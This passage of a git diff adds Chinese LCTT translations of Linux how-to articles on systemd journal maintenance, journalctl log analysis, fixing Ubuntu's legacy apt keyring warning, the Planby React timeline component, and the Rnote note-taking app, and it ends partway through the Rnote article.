@@ -0,0 +1,191 @@ +[#]: subject: "A Guide to systemd journal Maintenance [With Examples]" +[#]: via: "https://www.debugpoint.com/systemd-journald-clean/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15526-1.html" + +systemd 日志维护指南(附实例) +====== + +![][0] + +> systemd 内置了很多管理系统日志的功能。在本指南中,我们将介绍如何管理系统日志,并对其采取轮换、归档和清除日志等操作。我们还解释了手动系统日志清理方法和使用配置文件的变化。 + +如果你的 Linux 发行版支持 [systemd][1],那么从启动时开始,它每秒钟都会从系统的所有进程和应用程序中收集日志。所有这些日志事件都由 systemd 的 `journald` 守护程序管理。journald 收集所有的日志(信息、警告、错误等),并将其作为二进制数据存储在磁盘文件中。 + +由于日志保留在磁盘中,而且每秒钟都在收集,所以它占用了巨大的磁盘空间;特别是对于旧的系统、服务器来说。例如,在我的一个运行了一年左右的测试系统中,日志文件的大小是 GB 级的。 + +如果你管理多个系统、服务器,建议一定要正确管理 journald 日志,以便高效运行。让我们来看看如何管理日志文件。 + +### systemd 日志维护 + +使用 systemd 的 `journalctl` 工具,你可以查询这些日志,对其进行各种操作。例如,查看不同启动时的日志文件,检查特定进程或应用程序的最后警告和错误。如果你对这些不了解,我建议你在学习本指南之前先快速浏览一下此教程:[使用 journalctl 查看和分析 systemd 日志(附实例)][2] 》。 + +#### 物理日记的日志文件在哪里? + +systemd 的 journald 守护进程在每次启动时都会收集日志。这意味着,它根据启动情况对日志文件进行分类。 + +日志以二进制形式存储在路径 `/var/log/journal`,文件夹为机器 ID。 + +比如说: + +![日志文件位置的截图-1][3] + +![日志文件位置的截图-2][4] + +另外,请记住,根据系统配置,运行时日志文件被存储在 `/run/log/journal/`。而这些在每次启动时都会被删除。 + +#### 我可以手动删除日志文件吗? + +你可以,但不要这样做。相反,请按照下面的说明,使用 `journalctl` 工具清除日志文件以释放磁盘空间。 + +#### systemd 的日志文件占用了多少磁盘空间? + +打开一个终端,运行以下命令。 + +``` +journalctl --disk-usage +``` + +这应该为你提供系统中的日志文件实际使用的数量。 + +![journalctl 磁盘使用命令][5] + +如果你有一个图形化的桌面环境,你可以打开文件管理器,浏览路径 `/var/log/journal`,并检查属性。 + +#### systemd 日志清理过程 + +清理日志文件的有效方法应该是通过 `journald.conf` 配置文件来完成。正常情况下,即使 `journalctl` 提供了删除日志文件的工具,你也不应该手动删除这些文件。 + +让我们来看看如何 [手动][6] 删除它,然后我将解释 `journald.conf` 中的配置变化,这样你就不需要时不时地手动删除文件;相反,systemd 会根据你的配置自动处理它。 + +##### 手动删除 + +首先,你必须 `flush` 和 `rotate` 日志文件。轮换rotate是将当前活动的日志文件归档,并立即开始创建一个新的日志文件继续记录日志。冲洗flush 开关要求日志守护进程将存储在 `/run/log/journal/` 中的所有日志数据冲入 `/var/log/journal/`,如果持久性存储被启用的话。 + +然后,在 `flush` 和 `rotate` 之后,你需要用 `vacuum-size`、`vacuum-time` 和 `vacuum-files` 选项运行 `journalctl` 来强制 systemd 清除日志。 + +例 1: + +``` +sudo journalctl --flush --rotate +``` + +``` +sudo journalctl --vacuum-time=1s +``` + +上面这组命令会删除所有存档的日志文件,直到最后一秒。这有效地清除了一切。因此,在运行该命令时要小心。 + +![日志清理-例子][7] + +清理完毕后: + +![清理后--日志的占用空间][8] + +你也可以根据你的需要在 `--vacuum-time` 的数字后面提供以下后缀: + +- `s`:秒 +- `m`:分钟 +- `h`:小时 +- `days`:天 +- `months`:月 +- `weeks`:周 +- `years`:年 + +例 2: + +``` +sudo journalctl --flush --rotate +``` + +``` +sudo journalctl --vacuum-size=400M +``` + +这将清除所有存档的日志文件,并保留最后 400MB 的文件。记住这个开关只适用于存档的日志文件,不适用于活动的日志文件。你也可以使用后缀,如下所示。 + +- `K`:KB +- `M`:MB +- `G`:GB + +例 3: + +``` +sudo journalctl --flush --rotate +``` + +``` +sudo journalctl --vacuum-files=2 +``` + +`vacuum-files` 选项会清除所有低于指定数量的日志文件。因此,在上面的例子中,只有最后两个日志文件被保留,其他的都被删除。同样,这只对存档的文件有效。 + +如果你愿意,你可以把两种选项结合起来,但我建议不要这样做。然而,如果同时使用两个选项,请确保先用 `--rotate` 选项运行。 + +### 使用配置文件自动删除 + +虽然上述方法很好,也很容易使用,但建议你使用 journald 配置文件来控制日志文件的清理过程,该文件存在于 `/etc/systemd/journald.conf`。 + +systemd 为你提供了许多参数来有效管理日志文件。通过组合这些参数,你可以有效地限制日志文件所占用的磁盘空间。让我们来看看。 + +| journald.conf 参数 | 描述 | 实例 | +| :- | :- | :- | +| `SystemMaxUse` |指定日志在持久性存储中可使用的最大磁盘空间| `SystemMaxUse=500M` | +| `SystemKeepFree` |指定在将日志条目添加到持久性存储时,日志应留出的空间量。| `SystemKeepFree=100M` | +| `SystemMaxFileSize` |控制单个日志文件在被轮换之前在持久性存储中可以增长到多大。| `SystemMaxFileSize=100M` | +| `RuntimeMaxUse` |指定在易失性存储中可以使用的最大磁盘空间(在 `/run` 文件系统内)。| `RuntimeMaxUse=100M` | +| `RuntimeKeepFree` |指定将数据写入易失性存储(在 `/run` 文件系统内)时为其他用途预留的空间数量。| `RuntimeMaxUse=100M` | +| `RuntimeMaxFileSize` |指定单个日志文件在被轮换之前在易失性存储(在 `/run` 文件系统内)所能占用的空间量。| `RuntimeMaxFileSize=200M` | + +如果你在运行中的系统的 `/etc/systemd/journald.conf` 文件中添加这些值,那么在更新文件后,你必须重新启动 journald。要重新启动,请使用以下命令。 + +``` +sudo systemctl restart systemd-journald +``` + +### 核实日志文件 + +在你清理完文件后,检查日志文件的完整性是比较明智的。要做到这一点,请运行下面的命令。该命令显示了日志文件是否通过(`PASS`)、失败(`FAIL`)。 + +``` +journalctl --verify +``` + +![验证日志文件][9] + +### 总结 + +希望本指南能帮助你了解 systemd 日志管理流程的基本情况。通过这些,你可以通过限制空间、清除旧的日志文件来管理系统或服务器中的日志文件所使用的磁盘空间。这些只是指导性的命令,你可以通过多种方式组合这些命令来实现你的系统需求。 + +- [journalctl 手册][10] +- [journald.conf 手册][11] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/systemd-journald-clean/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.freedesktop.org/wiki/Software/systemd/ +[2]: https://www.debugpoint.com/2020/12/systemd-journalctl/ +[3]: https://www.debugpoint.com/wp-content/uploads/2021/01/Screenshot-of-physical-journal-file-1.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/01/Screenshot-of-physical-journal-files-2.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/01/journalctl-disk-usage-command.jpg +[6]: https://www.debugpoint.com#delete-using-journal-conf +[7]: https://www.debugpoint.com/wp-content/uploads/2021/01/journal-clean-up-example.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/01/After-clean-up-journal-space-usage.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/01/verify-log-files.png +[10]: https://www.freedesktop.org/software/systemd/man/journalctl.html +[11]: https://www.freedesktop.org/software/systemd/man/journald.conf.html +[0]: https://img.linux.net.cn/data/attachment/album/202302/10/072955z20ipg8vlpvdt1jq.jpg \ No newline at end of file diff --git a/published/202302/20221109.4 ⭐️⭐️ How to use journalctl to View and Analyze Systemd Logs [With Examples].md b/published/202302/20221109.4 ⭐️⭐️ How to use journalctl to View and Analyze Systemd Logs [With Examples].md new file mode 100644 index 0000000000..57f35863f9 --- /dev/null +++ b/published/202302/20221109.4 ⭐️⭐️ How to use journalctl to View and Analyze Systemd Logs [With Examples].md @@ -0,0 +1,261 @@ +[#]: subject: "How to use journalctl to View and Analyze Systemd Logs [With Examples]" +[#]: via: "https://www.debugpoint.com/systemd-journalctl/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15544-1.html" + +如何使用 journalctl 查看和分析 systemd 日志(附实例) +====== + +![][0] + +> 本指南介绍了 [systemd][1] 的 journalctl 工具及其各种命令的基础知识。你可以使用这些命令对 Linux 中的桌面和服务器日志进行故障诊断。以下是如何使用 journalctl 查看和分析 systemd 日志的不同例子。 + +### 简介 + +很多人说 systemd 不好,它对系统的影响很大,这也是一个有争议的话题。但你不能否认的是,它提供了一套完善的工具来管理和排除系统故障。想象一下,当你遇到一个没有 GUI 的损坏系统时,你可能会把启动和 GRUB 弄得一团糟。在这种情况下,你可以从一个立付Live系统启动,挂上你的 Linux 分区,然后浏览 systemd 的日志,找出问题所在。 + +systemd 有三个基本组件,如下所示: + +- `systemd`:Linux 操作系统的系统和服务管理器。 +- `systemctl` :该命令用于反观和控制 systemd 系统和服务管理器的状态。 +- `systemd-analyze`:该命令提供系统启动时的性能统计,并从系统和服务管理器中检索其他状态和跟踪信息。 + +除了这三个服务外,systemd 还提供其他服务,如 journald、logind、networkd 等。在本指南中,我们将讨论 systemd 的 journald 服务。 + +### journald - systemd 日志服务 + +根据设计,systemd 提供了一个集中的方式来处理所有来自进程、应用程序等的操作系统日志。所有这些日志事件都由 systemd 的 journald 守护进程来处理。journald 守护进程收集所有来自 Linux 操作系统各处的日志,并将其作为二进制数据存储在文件中。 + +以二进制数据集中记录事件、系统问题的好处有很多。例如,由于系统日志是以二进制而不是文本形式存储的,你可以以文本、JSON 对象等多种方式进行转译,以满足各种需求。另外,由于日志是按顺序存储的,通过对日志的日期/时间操作,超级容易追踪到单个事件。 + +请记住,journald 收集的日志文件数以千行计,而且不断更新每次开机、每个事件。因此,如果你有一个长期运行的 Linux 操作系统,日志的大小应该以 GB 为单位。由于有着数以千计的日志,最好用基本命令进行过滤,以了解更多系统问题。 + +#### journald 配置文件 + +journald 的配置文件存在于以下路径中。它包含了关于如何进行日志记录的各种标志。你可以看一下这个文件,并进行必要的修改。但我建议不要修改这个文件,除非你知道自己在做什么。 + +``` +/etc/systemd/journald.conf +``` + +#### journald 存储二进制日志文件的地方 + +journald 以二进制格式存储日志。它们被保存在这个路径下的一个目录中: + +``` +/var/log/journal +``` + +例如,在下面的路径中,有一个目录包含了迄今为止的所有系统日志。 + +![journalctl log file path][2] + +不要使用 `cat` 命令,也不要使用 `nano` 或 `vi` 来打开这些文件。它们(是二进制的),无法正常显示。 + +### 使用 journalctl 来查看和分析 systemd 日志 + +#### journald 基本命令 + +查看 journald 日志的基本命令是: + +``` +journalctl +``` + +![journalctl][3] + +该命令提供了所有应用程序和进程的日志条目,包括错误、警告等。它显示的列表中,最旧的日志在顶部,当前的日志在底部。你需要不断按回车键来逐行滚动浏览。你也可以使用 `PAGE UP` 和 `PAGE DOWN` 键来滚动。按 `q` 键可以退出这个视图。 + +#### 如何以不同时区的时间查看日志条目 + +默认情况下,`journalctl` 以当前系统时区显示日志的时间。然而,你可以很容易地在命令中提供时区,将同一日志转换为不同的时区。例如,要以 UTC 查看日志,请使用以下命令: + +``` +journalctl --utc +``` + +![journalctl --utc][4] + +#### 如何在日志中只查看错误、警告等信息 + +系统产生的日志有不同的优先级。有些日志可能是可以忽略的警告,有些可能是重要的错误。你可能想只看错误,不看警告。这也可以用下面的命令来实现。 + +要查看紧急系统信息,请使用: + +``` +journalctl -p 0 +``` + +![journalctl -p 0][5] + +错误代码: + +``` +0: 紧急情况 +1: 警报 +2: 危急 +3: 错误 +4: 警告 +5: 通知 +6: 信息 +7: 调试 +``` + +当你指定错误代码时,它显示该等级及更高的所有信息。例如,如果你指定下面的命令,它会显示所有优先级为 2、1 和 0 的信息: + +``` +journalctl -p 2 +``` + +#### 如何查看特定启动的日志 + +当你运行 `journalctl` 命令时,它会显示当前启动的信息,即你正在运行的会话中的信息。但也可以查看过去的启动信息。 + +在每次重启时,日志都会持续更新。journald 会记录不同启动时的日志。要查看不同启动时的日志,请使用以下命令。 + +``` +journalctl --list-boots +``` + +![journalctl list-boots][6] + +- 第一个数字显示的是 journald 的唯一的启动跟踪号码,你可以在下一个命令中使用它来分析该特定的启动。 +- 第二个数字是启动 ID,你也可以在命令中指定。 +- 接下来的两个日期、时间组合是存储在相应文件中的日志的时间。如果你想找出某个特定日期、时间的日志或错误,这就非常方便了。 + +要查看一个特定的启动号码,你可以选择第一个启动跟踪号码或启动 ID,如下所示。 + +``` +journalctl -b -45 +``` + +``` +journalctl -b 8bab42c7e82440f886a3f041a7c95b98 +``` + +![journalctl -b 45][7] + +你也可以使用 `-x` 选项,在显示屏上添加 systemd 错误信息的解释。在某些情况下,这是个救命稻草。 + +``` +journalctl -xb -p 3 +``` + +![journalctl -xb][8] + +#### 如何查看某一特定时间、日期的日志记录 + +`journalctl` 功能强大,可以在命令中提供类似英语的参数,用于时间和日期操作。 + +你可以使用 `--since` 选项与 `yesterday`、`today`、`tomorrow` 或 `now` 组合。 + +下面是一些不同命令的例子。你可以根据你的需要修改它们。它们是不言自明的。以下命令中的日期、时间格式为 `"YYYY-MM-DD HH:MM:SS"` + + +``` +journalctl --since "2020-12-04 06:00:00" +``` + +``` +journalctl --since "2020-12-03" --until "2020-12-05 03:00:00" +``` + +``` +journalctl --since yesterday +``` + +``` +journalctl --since 09:00 --until "1 hour ago" +``` + +![journalctl --since 09:00 --until][9] + +你也可以将上述内容与错误级别开关结合起来。 + +#### 如何查看内核特定的日志记录 + +Linux 内核信息也可以从日志中提取出来。要查看当前启动时的内核信息,请使用以下命令: + +``` +journalctl -k +``` + +#### 如何查看某个服务、PID 的日志 + +你可以从 journald 日志中过滤出某个 systemd 服务单元的特定日志。例如,如果要查看 NetworkManager 服务的日志,请使用下面的命令。 + +``` +journalctl -u NetworkManager.service +``` + +![journalctl NetworkManager service][10] + +如果你不知道服务名称,可以使用下面的命令来列出系统中的 systemd 服务。 + +``` +systemctl list-units --type=service +``` + +#### 如何查看用户、组的日志 + +如果你正在分析服务器日志,在多个用户登录的情况下,这个命令很有帮助。你可以先用下面的命令从用户名中找出用户的 ID。例如,要找出用户 `debugpoint` 的 ID: + +``` +id -u debugpoint +``` + +然后使用 `_UID` 选项指定该 ID 与来查看该用户产生的日志。 + +``` +journalctl _UID=1000 --since today +``` + +![journalctl _UID][11] + +同样地,使用 `_GID` 选项也可以查到用户组的情况。 + +#### 如何查看一个可执行文件的日志 + +你也可以查看某个特定程序或可执行文件的日志。例如,如果你想找出 `gnome-shell` 的信息,你可以运行以下命令。 + +``` +journalctl /usr/bin/gnome-shell --since today +``` + +![journalctl gnome-shell][12] + +### 结束语 + +希望本指南能帮助你使用 `journalctl` 查看分析 Linux 桌面或服务器上的 systemd 日志,排除故障。如果你知道如何使用这些命令,systemd 日志管理的功能非常强大,它能让你在调试时的生活变得轻松一些。现在所有主流的 Linux 发行版都使用 systemd。Ubuntu、Debian、Fedora、Arch 它们都使用 systemd 作为其默认的操作系统组件。如果你想了解不使用 systemd 的 Linux发行版,你可能想看看 [MX-Linux][13]、Gentoo、Slackware、Void Linux。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/systemd-journalctl/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://freedesktop.org/wiki/Software/systemd/ +[2]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-log-file-path.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-utc.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-p-0.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-list-boots.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-b-45.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-xb.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-since-0900-until.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-NetworkManager-service.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-_UID.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2020/12/journalctl-gnome-shell.jpg +[13]: https://www.debugpoint.com/tag/mx-linux +[0]: https://img.linux.net.cn/data/attachment/album/202302/16/085250d5ngtogo2fjjn8o2.jpg \ No newline at end of file diff --git a/published/202302/20221118.0 ⭐️⭐️ Fixing “Key is stored in legacy trusted.gpg keyring” Issue in Ubuntu.md b/published/202302/20221118.0 ⭐️⭐️ Fixing “Key is stored in legacy trusted.gpg keyring” Issue in Ubuntu.md new file mode 100644 index 0000000000..b09511039b --- /dev/null +++ b/published/202302/20221118.0 ⭐️⭐️ Fixing “Key is stored in legacy trusted.gpg keyring” Issue in Ubuntu.md @@ -0,0 +1,147 @@ +[#]: subject: "Fixing “Key is stored in legacy trusted.gpg keyring” Issue in Ubuntu" +[#]: via: "https://itsfoss.com/key-is-stored-in-legacy-trusted-gpg/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15565-1.html" + +修复 Ubuntu 中的 “Key is stored in legacy trusted.gpg keyring” 问题 +====== + +![][0] + +如果你在 Ubuntu 22.04 及以后的版本中使用 PPA 或添加外部仓库,你有可能会看到这样的信息: + +``` +W: https://packagecloud.io/slacktechnologies/slack/debian/dists/jessie/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details. +``` + +![ubuntu key is stored legacy][1] + +首先,这不是一个错误,而是一个警告信息。警告并不会导致程序停止工作。即使你在更新过程中看到这个警告信息,你也可以继续升级你的系统。 + +如果你不想看到这个警告信息,你可以采取一些手动步骤来摆脱它。 + +有两种方法;正确的方法和快速而不优雅的方法。阅读这两种方法,看看你对哪一种感到满意。 + +### 方法 1:导入密钥(正确但复杂的方法) + +首先,列出所有添加到你系统中的 GPG 密钥。 + +``` +sudo apt-key list +``` + +这将显示一个存储在你系统中的巨大的密钥列表。你在这里要做的是寻找与警告信息相关的密钥。 + +``` +abhishek@itsfoss:~$ sudo apt-key list +[sudo] password for abhishek: +Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). +/etc/apt/trusted.gpg +-------------------- +pub rsa4096 2014-01-13 [SCEA] [expired: 2019-01-12] + 418A 7F2F B0E1 E6E7 EABF 6FE8 C2E7 3424 D590 97AB +uid [ expired] packagecloud ops (production key) + +pub rsa4096 2016-02-18 [SCEA] + DB08 5A08 CA13 B8AC B917 E0F6 D938 EC0D 0386 51BD +uid [ unknown] https://packagecloud.io/slacktechnologies/slack (https://packagecloud.io/docs#gpg_signing) +sub rsa4096 2016-02-18 [SEA] + +/etc/apt/trusted.gpg.d/audio-recorder-ubuntu-ppa.gpg +---------------------------------------------------- +pub rsa4096 2015-08-30 [SC] + 42EF 41ED 9813 B713 D4F1 F06D 5CF1 2638 ACF9 669F +uid [ unknown] Launchpad PPA for Team audio-recorder + +/etc/apt/trusted.gpg.d/danielrichter2007-ubuntu-grub-customizer.gpg +------------------------------------------------------------------- +pub rsa1024 2010-10-08 [SC] + 59DA D276 B942 642B 1BBD 0EAC A8AA 1FAA 3F05 5C03 +``` + +你要怎么做?仔细阅读该信息: + +``` +W: https://packagecloud.io/slacktechnologies/slack/debian/dists/jessie/InRelease: Key is stored in legacy +``` + +在我的例子中,仓库有 `packagecloud`、`slacktechnologies` 等关键词。它显示在 `apt-key` 列表输出的顶部。在你的情况下,你可能需要滚动一下。 + +在这种罕见的情况下,由 Slack 添加的外部仓库,有两个 GPG 密钥。其中一个已经过期,我会忽略它。你可能不会有这样的情况。 + +你应该看到 `pub` 后一行的最后 8 个字符(不包括空格): + +``` +/etc/apt/trusted.gpg +-------------------- +pub rsa4096 2014-01-13 [SCEA] [expired: 2019-01-12] + 418A 7F2F B0E1 E6E7 EABF 6FE8 C2E7 3424 D590 97AB +uid [ expired] packagecloud ops (production key) + +pub rsa4096 2016-02-18 [SCEA] + DB08 5A08 CA13 B8AC B917 E0F6 D938 EC0D 0386 51BD +uid [ unknown] https://packagecloud.io/slacktechnologies/slack (https://packagecloud.io/docs#gpg_signing) +``` + +因此,从 `DB08 5A08 CA13 B8AC B917 E0F6 D938 EC0D 0386 51BD` 这行中,我将提取最后8个字符 `0386 51BD`,去掉空格,然后用它来导入 `/etc/apt/trusted.gpg.d` 目录下专用文件中的 GPG 密钥: + +``` +sudo apt-key export 038651BD | sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/slack.gpg +``` + +我在这里创建了一个新的文件 `slack.gpg`,以防你没有注意到它。我把它命名为 `slack.gpg` 是因为它与我之前安装的 Slack 应用有关。文件名并不重要,但它对识别有好处。 + +如果命令运行成功,你将不会看到任何信息。你可以通过检查新创建的 gpg 文件是否存在来验证。 + +![import gpg key to trusted ubuntu][2] + +再次运行更新,现在你应该不会再看到警告信息了。 + +### 方法 2:复制到 trusted.gpd.d 目录中(快速而不优雅的方法) + +如果你觉得手动做上面的事情不舒服,那么,你可以忽略这个警告信息。我的意思是,忽略它总是一种选择。 + +另一个选择是把 `/etc/apt/trusted.gpg` 文件复制到 `/etc/apt/trusted.gpg.d` 目录。毕竟,Ubuntu 只是抱怨说它需要 `/etc/apt/trusted.gpg.d` 目录下的 GPG 密钥。 + +你仍然要使用终端。打开它并使用以下命令: + +``` +sudo cp /etc/apt/trusted.gpg /etc/apt/trusted.gpg.d +``` + +现在,如果你运行更新,你就不会再看到 “Key is stored in legacy trusted.gpg keyring” 的警告信息。 + +![quick dirty way to fix apt key stored legacy][3] + +### 总结 + +我曾经写过一篇关于 [弃用 apt-key][4] 的详细文章。显然,那篇文章让一些读者感到困惑,因此我写了这篇文章,给他们提供摆脱该信息的直接步骤。 + +正如我之前所说,这是一个警告信息,目前可以忽略。解决这个问题的责任在于外部软件开发者和 Ubuntu 开发者。外部软件开发者应该确保他们的 GPG 密钥不再被添加到 `/etc/apt/trusted.gpg` 文件中。 + +终端用户不应该为他们的懒惰而承担痛苦。 + +那么,你是用哪种方法来摆脱 “key is stored in legacy” 的警告信息的呢?第一个方法还是第二个方法? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/key-is-stored-in-legacy-trusted-gpg/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2022/11/ubuntu-key-is-stored-legacy.png +[2]: https://itsfoss.com/content/images/wordpress/2022/11/import-gpg-key-to-trusted-ubuntu.png +[3]: https://itsfoss.com/content/images/wordpress/2022/11/quick-dirty-way-to-fix-apt-key-stored-legacy.png +[4]: https://itsfoss.com/apt-key-deprecated/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/22/143209ysmxzrasycrxz7wa.jpg \ No newline at end of file diff --git a/published/202302/20221123.1 ⭐️⭐️ Build an interactive timeline in React with this open source tool.md b/published/202302/20221123.1 ⭐️⭐️ Build an interactive timeline in React with this open source tool.md new file mode 100644 index 0000000000..6b4a3d6d49 --- /dev/null +++ b/published/202302/20221123.1 ⭐️⭐️ Build an interactive timeline in React with this open source tool.md @@ -0,0 +1,59 @@ +[#]: subject: "Build an interactive timeline in React with this open source tool" +[#]: via: "https://opensource.com/article/22/11/react-timeline-planby" +[#]: author: "Karol Kozer https://opensource.com/users/karolkozer" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15571-1.html" + +用这个开源工具在 React 中建立一个交互式时间轴 +====== + +![][0] + +> Planby 是一个 JavaScript 组件,用于帮助创建流媒体服务、音乐和体育赛事等的时间表、时间线和电子节目指南(EPG)。 + +几年来,我在电视在线和视频点播(VOD)行业工作。在开发一个调度器网络应用时,我意识到在电子节目指南(EPG)和调度方面没有好的解决方案。诚然,对于大多数网络开发者来说,这是一个小众的功能,但对于电视应用来说,这是一个常见的需求。我看到并分析了许多网站实现了他们自己的 EPG 或时间表,我经常想,为什么每个人似乎都在发明他们自己的解决方案,而不是致力于开发一个大家都能使用的共享解决方案。这就是我开始开发 Planby 的时候。 + +[Planby][1] 是一个 React(JavaScript)组件,帮助你为在线电视和视频点播(VOD)服务、音乐和体育赛事等创建计划、时间线和电子节目指南(EPG)。Planby 使用自定义的虚拟视图,允许你对大量的数据进行操作,并以友好和有用的方式呈现给你的观众。 + +Planby 有一个简单的 API,你可以与第三方 UI 库集成。组件的主题是根据应用设计的需要定制的。 + +### 时间线性能 + +实现时间线功能时,最重要的是性能。你有可能在许多不同频道处理无穷无尽的数据流。应用可能不断地在刷新、移动和滚动。你希望用户与内容的互动是流畅的。 + +还有一个潜在的问题是设计不当。有时,一个应用以列表的形式实现 EPG 时间线,你必须垂直滚动,这意味着你必须点击按钮在时间上左右移动,这很快就会变得很累。更重要的是,有时与 EPG 互动的自定义功能(如评级、选择你最喜欢的频道、从右到左(RTL)阅读等)根本无法使用,或者即便它们可用,也会导致性能问题。 + +我经常面临的另一个问题是,应用的数据传输过于冗长。当一个应用在你滚动浏览 EPG 的时候请求数据,时间线会感觉很慢,甚至会崩溃。 + +### 什么是 Planby? + +这就是 Planby 的作用。Planby 是从头开始建立的,使用 React 和 Typescript 以及少量的资源。它使用一个自定义的虚拟视图,允许你对大量的数据进行操作。它向用户显示节目和频道,并根据时间和指定频道自动定位所有元素。当一个资源不包含任何内容时,Planby 会计算定位,使时间段正确对齐。 + +Planby 有一个简单的界面,包括所有必要的功能,如侧边栏、时间轴本身、愉快的布局和实时节目刷新。此外,还有一个可选的功能,允许你隐藏任何你不想包括在布局中的元素。 + +Planby 有一个简单的 API,允许你作为开发者实现你自己的项目以及用户的偏好。你可以使用 Planby 的主题来开发新的功能,也可以制作自定义的样式来配合你选择的设计。你可以很容易地整合其他功能,如日历、评级选项、用户最喜欢的列表、滚动、“现在” 按钮、录制计划、追播内容等等。更重要的是,你可以添加自定义的全局样式,包括 RTL 功能。 + +最重要的是,它在 MIT 许可下开源。 + +### 尝试 Planby + +如果你想尝试一下 Planby,或者只是想了解一下它,请访问 [Git 仓库][1]。在那里,我已经有了一些例子,你可以阅读文档了解详情。该软件包也可以通过 `npm` 获得。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/react-timeline-planby + +作者:[Karol Kozer][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/karolkozer +[b]: https://github.com/lkxed +[1]: https://github.com/karolkozer/planby +[0]: https://img.linux.net.cn/data/attachment/album/202302/24/092229kgr2rqm6326rgdbl.jpg \ No newline at end of file diff --git a/published/202302/20221125.2 ⭐️ Rnote An Open-Source Drawing App for Notes and Annotation.md b/published/202302/20221125.2 ⭐️ Rnote An Open-Source Drawing App for Notes and Annotation.md new file mode 100644 index 0000000000..6b5256f6d5 --- /dev/null +++ b/published/202302/20221125.2 ⭐️ Rnote An Open-Source Drawing App for Notes and Annotation.md @@ -0,0 +1,103 @@ +[#]: subject: "Rnote: An Open-Source Drawing App for Notes and Annotation" +[#]: via: "https://itsfoss.com/rnote/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15545-1.html" + +Rnote:一个用于笔记和注释的开源绘图应用 +====== + +> Rnote 可以让你做笔记、绘图和注释文件。听起来你需要它?让我们来了解一下。 + +我们已经介绍了许多记笔记的应用,但支持手写笔记的选项却屈指可数。 + +Rnote 就是这样一个有用的应用,它可以让你做手写笔记并对文件/图片进行注释。当然,你需要一个绘图板或一个带有手写笔的设置来使用 Rnote。 + +### Rnote: 基于矢量的绘图应用,用于绘制草图和手写笔记 + +![rnote screenshot][1] + +Rnote 是一个用 Rust 和 GTK 4 编写的令人印象深刻的开源应用。 + +它提供了一个专注于手写笔输入的自适应用户界面。它看起来很简约,但却提供了手写笔记所需的一些基本功能。 + +让我强调一下它能做的一些事情。 + +### Rnote 的特点 + +![rnote settings][3] + +[Rnote][4] 是一个简洁而有很多功能的绘图/记事应用程序。一些功能包括: + +- 支持具有各种笔画风格的压敏笔输入 +- 用形状工具添加不同的形状 +- 一个选择工具,可以移动、旋转、调整大小和修改你添加/绘制的内容 +- 文档扩展布局 +- 可定制的页面格式 +- 可定制的背景颜色、图案和尺寸 +- 支持笔的反馈声音 +- 可重新配置的手写笔按钮快捷键 +- 集成的工作区浏览器可快速访问媒体文件 +- 支持拖放 +- 支持剪贴板 +- 支持常见的页面格式(A6、A5、US letter 等) +- 从 PDF、位图和 